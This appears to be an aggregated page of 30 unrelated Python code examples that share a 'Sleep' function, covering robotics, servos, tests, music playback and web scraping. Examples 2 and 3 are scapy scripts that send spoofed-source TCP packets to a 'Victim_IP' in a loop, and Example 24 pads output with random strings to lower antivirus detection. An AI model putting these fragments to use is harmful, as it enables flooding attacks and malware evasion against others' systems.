Exemplo n.º 1
0
    def __Roar(self):
        # Make it roar
        self.__MoveHead(Direction = 'Up', WaitWhileRunning = False)
        self.__MoveTrunk(Action = 'Roar', WaitWhileRunning = False)

        while self.__ElephantHead.IsRunning():
            Sleep(.01)

        while self.__ElephantTrunk.IsRunning():
            Sleep(.01)

        self.__ElephantHead.Stop()
        self.__ElephantTrunk.Stop()

        # Back to normal position for head and trunk
        self.__MoveHead(Direction = 'Down', WaitWhileRunning = False)
        self.__ElephantTrunk.PutTrunkDown(Wait = False)

        while self.__ElephantHead.IsRunning():
            Sleep(.01)

        while self.__ElephantTrunk.IsRunning():
            Sleep(.01)

        self.__ElephantHead.Stop()
        self.__ElephantTrunk.Stop()
Exemplo n.º 2
0
def run(Source_IP: str, Victim_IP: str, Source_Port: int, Victim_Ports: list,
        Count: int, Message: str):
    print("Scapy Needs Administrator Permission")
    print("UAC Will Run On Windows")
    from scapy.all import sendp as Send, TCP as tcp, IP as ip
    from time import sleep as Sleep
    from random import choice

    if Count == -1:
        i = 0
        while True:
            try:
                print("Press Ctrl + C To Stop The Process")
                IP = ip(src=Source_IP, dst=Victim_IP)
                Victim_Port = int(choice(Victim_Ports))
                TCP = tcp(sport=Source_Port, dport=(Victim_Port))
                Packet = IP / TCP / Message
                Send(Packet)
                print(
                    "Send Packet To Target {} from IP {} And Port {} To Port {}"
                    .format(Victim_IP, Source_IP, Source_Port, Victim_Port))
                i += 1
            except KeyboardInterrupt:
                print(
                    "Already Send {} Packets To Target {} from IP {} And Port {} To Port {}"
                    .format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
                Sleep(2)
                raise SystemExit

    else:
        print("Press Ctrl + C To Stop The Process")
        for i in range(0, Count):
            try:
                IP = ip(src=Source_IP, dst=Victim_IP)
                Victim_Port = int(choice(Victim_Ports))
                TCP = tcp(sport=Source_Port, dport=(Victim_Port))
                Packet = IP / TCP / Message
                Send(Packet)
                print(
                    "Sent Packet To Target {} from IP {} And Port {} To Port {}"
                    .format(Victim_IP, Source_IP, Source_Port, Victim_Port))
            except KeyboardInterrupt:
                print(
                    "Already Sent {} Packets To Target {} from IP {} And Port {} To Port {}"
                    .format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
                break
                Sleep(2)
                raise SystemExit
        print("Operation Was Successful. Sent {} Packets To {}".format(
            Count, Victim_Port))
Exemplo n.º 3
0
def Run(*self, Source_IP, Victim_IP, Source_Port, Victim_Ports, Count,
        Message):
    from scapy.all import sendp as Send, TCP as tcp, IP as ip
    from time import sleep as Sleep
    from sys import exit as Exit
    print("This Operation Needs Administrator Permission")
    print("Running UAC")
    Victim_Ports = Victim_Ports.split()
    if Count != "-1":
        print("Press Ctrl + C To Stop The Process")
        for i in range(0, Count):
            try:
                IP = ip(src=Source_IP, dst=Victim_IP)
                TCP = tcp(sport=Source_Port,
                          dport=([Victim_Port
                                  for Victim_Port in Victim_Ports]))
                Packet = IP / TCP / Message
                Send(Packet)
                print(
                    "Send Packet To Target {} from IP {} And Port {} To Port {}"
                    .format(Victim_IP, Source_IP, Source_Port, Victim_Port))
            except KeyboardInterrupt:
                print(
                    "Already Send {} Packets To Target {} from IP {} And Port {} To Port {}"
                    .format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
                break
                Sleep(2)
                Exit(0)
    else:
        i = 0
        while True:
            try:
                print("Press Ctrl + C To Stop The Process")
                IP = ip(source_IP=Source_IP, destination=Victim_IP)
                TCP = tcp(
                    srcport=Source_Port,
                    dstport=([Victim_Port for Victim_Port in Victim_Ports]))
                Packet = IP / TCP / Message
                Send(Packet)
                print(
                    "Send Packet To Target {} from IP {} And Port {} To Port {}"
                    .format(Victim_IP, Source_IP, Source_Port, Victim_Port))
                i += 1
            except KeyboardInterrupt:
                print(
                    "Already Send {} Packets To Target {} from IP {} And Port {} To Port {}"
                    .format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
                Sleep(2)
                Exit(0)
Exemplo n.º 4
0
def SetAngle(angle, target_pin):
    if target_pin == 3:
        duty = angle / 18 + 2
        GPIO.output(target_pin, True)
        pwm_h.ChangeDutyCycle(duty)
        Sleep(0.2)
        GPIO.output(target_pin, False)
        pwm_h.ChangeDutyCycle(0)
    elif target_pin == 5:
        duty = angle / 18 + 2
        GPIO.output(target_pin, True)
        pwm_v.ChangeDutyCycle(duty)
        Sleep(0.2)
        GPIO.output(target_pin, False)
        pwm_v.ChangeDutyCycle(0)
Exemplo n.º 5
0
def main_loop():
    manager = None
    kernel = connect()
    print("Producer Connected to Aether.")
    try:
        while True:
            offset = get_offset("entities")
            new_items = count_since(offset)
            if new_items:
                print ("Found %s new items, processing" % new_items)
                entities = get_entities(offset)
                manager = StreamManager(kernel)
                manager.send(entities)
                manager.stop()
                if manager.killed:
                    print("processed stopped by SIGTERM")
                    break
                manager = None
            else:
                # print ("No new items. Offset is %s, sleeping for %s s" % (offset, SLEEP_TIME))
                Sleep(SLEEP_TIME)
    except KeyboardInterrupt as ek:
        print ("Caught Keyboard interrupt")
        if manager:
            print ("Trying to kill manager")
            manager.stop()
    except Exception as e:
        print(e)
        if manager:
            manager.stop()
Exemplo n.º 6
0
def Create_File(*self, PATH):
    from colorama import Fore
    Red, Blue, Green, Reset = Fore.LIGHTRED_EX, Fore.LIGHTBLUE_EX, Fore.LIGHTGREEN_EX, Fore.RESET
    from time import sleep as Sleep
    print("[" + Green + "!" + Reset + "]" + Reset + "Creating File...", end="")
    try:
        f = open(PATH, "x").close()
    except FileExistsError:
        Sleep(0.5)
        choice = str(input(
            "\r[" + Red + "-" + Reset + "]" + Reset + "Creating File...Failed \nFile Already Exists Confirm Overwrite : (N or Y)"))
        Choice = choice.upper()
        if Choice == "Y":
            return PATH
        elif Choice == "N":
            file_name = str(input("Write Down File Name Here : "))
            file_name += ".pyw"

            return file_name
        else:
            print(Red + "\r[!]" + Reset + "In Valid Input", end="")
            return ''
    else:
        file_name = PATH
        print("\r[" + Blue + "+" + Reset + "]" +
              Reset + "Creating File...Done", end="")
        return file_name
Exemplo n.º 7
0
def SetAngle(angle):
    duty = angle / 18 + 2
    GPIO.output(5, True)
    pwm_v.ChangeDutyCycle(duty)
    Sleep(1)
    GPIO.output(5, False)
    pwm_v.ChangeDutyCycle(0)
Exemplo n.º 8
0
    def test01_instant(self):
        """test01_instant()

        """

        # sequ: Sequencer = Sequencer(0.1)  # sequencer with an interval of .1 sec
        # sequencer with an interval of 15.0 sec
        sequ: Sequencer = Sequencer(5.0)  # init for 5 sec delay
        self.assertAlmostEqual(5.0, sequ.delayseconds)
        self.assertEqual(20, len(sequ._to_do_sched))
        self.assertFalse(sequ.do_it_now())
        self.assertEqual(0, sequ.skipped)
        initiallastsched = sequ._to_do_sched[-1]
        cnt: int = 0
        starttime = monotonic()
        while not sequ.do_it_now():
            Sleep(0.25)
            self.assertEqual(0, sequ.skipped)
            cnt += 1

        endtime = monotonic()
        toloop = endtime - starttime
        self.assertAlmostEqual(10.0, round(toloop, 0))
        currentlastsched = sequ._to_do_sched[-1]
        delay1 = currentlastsched - initiallastsched
        self.assertAlmostEqual(5.0, delay1)
        self.assertTrue(38 < cnt < 41)
        sched: List[float] = list(sequ._to_do_sched)
        ll: List[float] = []
        for i in range(1, len(sched)):
            ll.append(sched[i] - sched[i - 1])

        self.assertEqual(5.0, mean(ll))

        sequ = Sequencer(1)  # init for 1 sec delay
        Sleep(20.5)
        self.assertEqual(20, len(sequ._to_do_sched))
        self.assertTrue(sequ.do_it_now())
        self.assertEqual(20, len(sequ._to_do_sched))
        self.assertEqual(11, sequ.skipped)

        sequ = Sequencer(5.0)  # init for 5 sec delay
        waittime: float = sequ.get_nxt_wait()
        Sleep(waittime - 0.5)
        waittime = sequ.get_nxt_wait()
        self.assertAlmostEqual(0.5, waittime, places=1)
        a = 0
Exemplo n.º 9
0
 def PauseSong(self): #this fucntion pause the song playing
     Sleep(2) #delay to get rid of function call besides the first
     if self.Playing.is_set(): #check if the song is playing
         print(f'{Identity()} is pausing')
         self.Playing.clear() #clear the playing state
     if not self.Playing.is_set(): #check if the song is not playing
         print(f'{Identity()} is resuming')
         self.Playing.set() #set the song as playing
Exemplo n.º 10
0
def wait_for(id, path):

    print "Loading page..."
    iteration = 1
    while not path_exists(id, path):
        Sleep(1)
        print "Waiting for page to load... (%s)" % iteration
        iteration += 1
Exemplo n.º 11
0
def SetAngle(orientation):
    horizontal_servo = Servo(13)
    vertical_servo = Servo(12)
    while True:
        print(((int(orientation[0]))), ((int(orientation[1]))))

        if orientation[1] - 50 > 170.0 or orientation[1] - 50 < 1.0:
            continue

        vertical_servo.write(orientation[1] - 50)
        Sleep(0.2)

        if orientation[0] > 180.0 or orientation[1] < 1.0:
            continue

        horizontal_servo.write(orientation[0])
        Sleep(0.2)
Exemplo n.º 12
0
 def _get_json(self, url):
     Sleep(self.throttle)
     self.driver.get(url)
     try:
         text = self.driver.find_element_by_tag_name("pre").get_attribute("innerHTML")
         return Parse(text)
     except Exception as error:
         print(error)
         self.halt()
Exemplo n.º 13
0
 def StopSong(self): #this fucntion stop the song
     if not StopFunction.locked(): #check if the fucntion has called by multiple thread
         print('Stop called')
         Sleep(1)
         self.Stop.set() #set the stop state
         self.Playing.clear() #clear the playing state
         self.PlayButton.state(['!disabled']) #enable the play button
         self.PlayButton.state(['!pressed']) #reset the play button to the default state
         ReleaseResources() #release possible hanging resources
Exemplo n.º 14
0
 def do_unfollow(self, username):
     Sleep(self.throttle)
     self.driver.get("{}/{}".format(URL_BASE, username))
     try:
         eButton = self.driver.find_element_by_xpath('//button[text()="Following"]')
         eButton.click()
     except NoSuchElementException:
         return False
     eButton = self.driver.find_element_by_css_selector("div[role=dialog] button:nth-child(1)")
     eButton.click()
Exemplo n.º 15
0
    def Run(self):
        # Set the trunk to a "normal" (aka beautiful) position
        self.__ElephantTrunk.PutToNormalPosition()

        # Move forward
        self.__ElephantLegs.MoveForward(Wait = False)

        while self.__ElephantLegs.IsRunning():
            # Make the elephant roaring
            self.__Roar()

            # Sleeping
            Sleep(5)

            # Make the elephant eating
            self.__MoveTrunk(Action = 'Eat')
            self.__ElephantTrunk.PutTrunkDown(Wait = True)

            # Sleeping
            Sleep(5)
Exemplo n.º 16
0
def stop():
    GPIO.output(37, GPIO.LOW)
    GPIO.output(35, GPIO.LOW)
    GPIO.output(33, GPIO.LOW)
    GPIO.output(31, GPIO.LOW)

    GPIO.output(11, GPIO.LOW)
    GPIO.output(13, GPIO.LOW)
    GPIO.output(15, GPIO.LOW)
    GPIO.output(18, GPIO.LOW)

    Sleep(3)
Exemplo n.º 17
0
def right():
    GPIO.output(37,GPIO.LOW)
    GPIO.output(35,GPIO.HIGH)
    GPIO.output(33,GPIO.LOW)
    GPIO.output(31,GPIO.LOW)

    GPIO.output(11,GPIO.LOW)
    GPIO.output(13,GPIO.HIGH)
    GPIO.output(15,GPIO.LOW)
    GPIO.output(18,GPIO.LOW)

    Sleep(3)
Exemplo n.º 18
0
def forward():
    GPIO.output(37,GPIO.LOW)
    GPIO.output(35,GPIO.HIGH)
    GPIO.output(33,GPIO.HIGH)
    GPIO.output(31,GPIO.LOW)
    
    GPIO.output(11,GPIO.LOW)
    GPIO.output(13,GPIO.HIGH)
    GPIO.output(15,GPIO.HIGH)
    GPIO.output(18,GPIO.LOW)
    
    Sleep(3)
Exemplo n.º 19
0
def left():
    GPIO.output(37, GPIO.HIGH)  #back right
    GPIO.output(35, GPIO.LOW)
    GPIO.output(33, GPIO.HIGH)  #back left
    GPIO.output(31, GPIO.LOW)

    GPIO.output(11, GPIO.LOW)  #front right
    GPIO.output(13, GPIO.HIGH)
    GPIO.output(15, GPIO.HIGH)  #front left
    GPIO.output(18, GPIO.LOW)

    Sleep(3)
Exemplo n.º 20
0
    def test06_checkgen_dt(self):
        print('10 MIN DELAY')
        _lw1 = LocalWeather()
        _lw1.load()
        self.assertTrue(_lw1.valid)

        Sleep(10)
        _lw2 = LocalWeather()
        _lw2.load()
        self.assertTrue(_lw2.valid)

        Sleep(610)
        _lw3 = LocalWeather()
        _lw3.load()
        self.assertTrue(_lw3.valid)

        diffs: List[bool] = []
        diffs.append(_lw1.times['dt'].ts == _lw2.times['dt'].ts)
        diffs.append(_lw2.times['dt'].ts == _lw3.times['dt'].ts)
        diffs.append(_lw1.times['dt'].ts == _lw3.times['dt'].ts)
        aa = sum(1 for x in diffs if x)
        self.assertEqual(1, aa)
Exemplo n.º 21
0
    def InitPosition(self):
        Logging.info('Moving trunk to initial position')

        # Move the trunk until the touch sensor is pressed
        self.Speed = -400
        self.StopAction = 'brake'
        
        self.RunForever()

        while not self.__Sensor.is_pressed:
            Sleep(.01)

        # Set position to 0
        self.MotorReset()
Exemplo n.º 22
0
def moveServos():
    v_angle = int(float(request.form["updown"]))
    h_angle = int(float(request.form["leftright"]))
    
    if v_angle < 0:
        v_angle += 180
    h_angle = h_angle % 180
    
    print('Horizontal: ' + str(h_angle) + "        Vertical: " + str(v_angle))
    
    SetAngle(v_angle,vertical)
    SetAngle(h_angle,horizontal)
    Sleep(0.2)
    return ""
Exemplo n.º 23
0
        def PlayChord(Sounds, Duration): # function play a single chord of the part
            #print(Duration)
            for Sound in Sounds: #for loop  to make every note of the chord unavailable for other threads (to avoid deadlock)
                NotesFlags[Sound] = False #lock single resource

            for Sound in Sounds: #for loop to press chord-corresponding keys
                PressKey(DXCodes[Notes[Sound]]) #press the note-corresponding key of the chord

            Sleep(abs(Duration)) #wait the duration of the notes

            for Sound in Sounds: #for loop to release chord-corresponding keys
                ReleaseKey(DXCodes[Notes[Sound]]) #release the note-corresponding key of the chord

            for Sound in Sounds:#for loop to make every note of the chord available for other threads
                NotesFlags[Sound] = True #unlock single resource
Exemplo n.º 24
0
def Anti_Anti_Virus(*self, Count):
    from colorama import Fore
    Red, Blue, Green, Reset = Fore.LIGHTRED_EX, Fore.LIGHTBLUE_EX, Fore.LIGHTGREEN_EX, Fore.RESET
    from time import sleep as Sleep
    print("[" + Green + "!" + Reset + "]" +
          "Generating Random String To Decrease AV Ditection...", end="")
    Sleep(0.2)
    try:
        Result = tuple()
        for i in range(0, Count):
            Result = Result + (random_string(), )
    except:
        print("\r[" + Red + "-" + Reset + "]" +
              "Generating Random String To Decrease AV Ditection...Failed ", end="")
        Sleep(1)
        print("\r[" + Green + "!" + Reset + "]" +
              "Generating Random String To Decrease AV Ditection...Failed -> Passed")
        Sleep(0.2)
        return False
    else:

        print("\r[" + Blue + "+" + Reset + "]" +
              "Generating Random String To Decrease AV Ditection...Done")
        return Result
Exemplo n.º 25
0
    def run(self):
        while self.isStop():
            print self.isStop()  #Debug
            self.output_map()
            for row in xrange(0, MAXROW):
                for col in xrange(0, MAXCOL):
                    num = self.neighbors(row, col)
                    if num == 2:
                        self.newmap[row][col] = self.oldmap[row][col]
                    elif num == 3:
                        self.newmap[row][col] = ALIVE
                    else:
                        self.newmap[row][col] = DEAD

            self.copy_map()
            Sleep(0.5)
Exemplo n.º 26
0
def AppendRandomNumberOfBits(Filename: str, Interval: int):
    global NumberofAppends
    while (True):
        BinaryFile = open(Filename, 'ab')  # Open the file in append mode .
        RandomNumberOfBits = RandomNumber(
            0, 100)  # Get a random number between 0 and 100 .
        GeneratedRandomNumber = RandomBits(
            RandomNumberOfBits
        )  # Get a random number consists of 0-100 number of bits .
        BinaryFile.write(
            GeneratedRandomNumber.to_bytes(
                (GeneratedRandomNumber.bit_length() // 8) + 1, byteorder='big')
        )  # Append the generated number to the binary file .
        BinaryFile.close()  # Close the file .
        NumberofAppends = NumberofAppends + 1  # Increment the number of appends.
        Sleep(Interval)  # Sleep for number of seconds = 10 .
Exemplo n.º 27
0
def RemoveRandomNumberOfBits(Filename: str, Interval: int):
    global NumberofRemoves
    while (True):
        BinaryFile = open(Filename, 'rb')  # Open the file in read mode .
        RandomNumberOfBits = RandomNumber(
            0, 50)  # Get a random number between 0 and 50 .
        BinaryFile.seek(
            (RandomNumberOfBits // 8) + 1)  # Skip the first 0-50 bits .
        TheRestOfData = BinaryFile.read()  # Read the rest of the file .
        BinaryFile.close()
        BinaryFile = open(Filename, 'wb')
        BinaryFile.write(
            TheRestOfData)  # Write the new data without the first 0-50 bits .
        BinaryFile.close()
        NumberofRemoves = NumberofRemoves + 1  # Increment the number of removes .
        Sleep(Interval)  # Sleep for number of seconds = 20 .
Exemplo n.º 28
0
	def Backup (self):
		# Main loop, trying to copy from one directory to another;
		while True:
			# Try copy files from MainFolder to TargetFolder;
			try:
				Copy (self.MainFolder, self.TargetFolder);
			except:
				# If can't copy, tell the user and stop the process;
				print ("Could Not Execute The Backup.");
				break;

			# Tell the user that the backup has been done;
			print ("Backup Done!\n Files Copied From: %s To: %s." % (self.MainFolder, self.TargetFolder));

			# Wait using the Delay before save again;
			Sleep (int (self.Delay));
Exemplo n.º 29
0
    def __Repeat__(self):

        # This Method Executes The Given Task Repeatedly.

        # Explanation :

        # The Method Uses 'Estimated_Sleep_Time' and 'After_Task_Sleep_Time',
        # To Calculate The Needed Sleep Time, In Order To Prevent Task Drifting.

        # Task Drifting :

        # Is When A Task Takes Longer Then Estimated To Execute, And The
        # Following Tasks, Executig With An Unwanted Delay.

        # Estimated_Sleep_Time :

        # Is The Time The User Rquested To Wait, Between Task Executions.

        # After_Task_Sleep_Time :

        # Is The Time Left To Sleep, After The Task Was Executed.

        # Pre-Calculations :
        Estimated_Sleep_Time = Time() + self.Interval

        try:  # Trying To Execute The Given Task.

            while not self.__Stop_Flag__:  # Continue Executing, If The Stop Flag Is False.

                self.Task(*self.Args, **self.KWArgs)  # Executing The Task.

                After_Task_Sleep_Time = max(
                    0,
                    Estimated_Sleep_Time - Time())  # Preventing Task Drifting.

                Sleep(After_Task_Sleep_Time)  # Calculating The New Sleep Time.

                Estimated_Sleep_Time += self.Interval  # Updating The 'Estimated_Sleep_Time'.

        except Exception as Error:  # Catching The Error.

            print(f'An Error Has Occurred While Executing The Task :\n{Error}')
Exemplo n.º 30
0
    def get_cat_dataA(self, cmd_list: List[Tuple[Any, ...]]) -> List[Any]:
        results: List[SMeter] = []
        freq = None

        for cmdt in cmd_list:
            result = None
            c: str = cmdt.cmd[0:4]
            if c == 'wait':
                delay = float(cmdt.cmd[4:])
                Sleep(delay)
                continue

            if c not in FLEX_CAT_ALL:
                raise ValueError('illegal flex command')

            result = self._ui.serial_port.docmd(cmdt.cmd)
            if c == 'ZZFA':
                while not result.startswith('ZZFA'):
                    result = self._ui.serial_port.docmd(cmdt.cmd)
                _ = cmdt.cmd[4:-1]  # get ascii rep of the frequency
                freq = int(_)

            if cmdt.fn:  # process the result if provided
                _ = result.split(';')
                vals = None
                if len(_) > 2:
                    # extract the results from the command
                    try:
                        vals = [int(ss[4:]) for ss in _ if ss]
                    except ValueError as ve:
                        raise ve
                    # and get the average
                    avg: float = int(round(sum(vals) / len(vals)))
                    result = f'ZZSM{avg :03d};'  # .format(avg)

                # process the results by code in cmd[1]
                result = cmdt.fn((result, freq))
            results.append(result)

        return results